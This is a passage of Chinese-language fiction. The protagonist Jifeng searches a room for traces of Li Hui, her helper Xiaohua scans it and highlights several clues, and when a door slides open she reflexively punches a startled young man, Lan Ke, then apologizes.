海城大学不就是李灰的学校,季风想,这个山城要是她知道的那个山城,可是里海城大学十万八千里,往返一次最快的交通工具也要花一天的时间。 “上个大学怎么一下子跑这么远……现在呢,现在去哪了?”书桌上没什么有用的内容了,只有一些学习资料,一些课外书。季风把房间翻了个遍,没再找到什么东西,衣柜,床头柜都空空的,其实没剩下多少东西。 “小花,有能力给我来个整体扫描吗?”季风忙出一身汗,坐在地上随口一说。 “当然可以,看我的!”小花竟然真的应下来,季风正准备躺在地上,动作做到一半又起来了:“天亮啦?小花你这么复杂的业务都会吗?” “哼哼!”小花要是有鼻子,这会儿已经翘到天上去了。 季风的视野像是罩上了一层灰色的滤镜。她能看到有几处地方的颜色与别处不同,发着荧光绿。一处是床垫底下的明信片,一处是桌子旁边的文件袋,这两处他刚才都找过了。还有一处是这个房间的门——真正的门,而不是被季风踹烂的洞。 “门怎么了呢?”季风走到门前,轻轻一碰把手,门就在她眼前缓缓的滑开了,露出对面蓝柯因惊吓而有些睁大的双眼。 季风看到对面有人一拳就上去了,蓝柯一个躲闪不及,左肩处挨了一拳。 “嗷!”一声闷哼,他痛苦的捂着肩膀跪下了。 “抱歉,吓我一跳。”季风没想到自己一拳的威力这么大,有些抱歉地也蹲下来查看蓝柯的脸色。只看到一眼他因疼痛而皱成一团的脸,就被他伸手把脸捂起来了。 “喂?”季风用两根手指尝试把他捂脸的手拨开:“真哭了啊?” 他猛的把手拿下来:“没有,不至于。” 看到蓝柯没什么大碍。季风就问他:“那就好,这个门是你弄开的吗?” “不是你开的吗?”蓝柯的右手依然在他的左肩上揉着,问这话时好像还带着鼻音。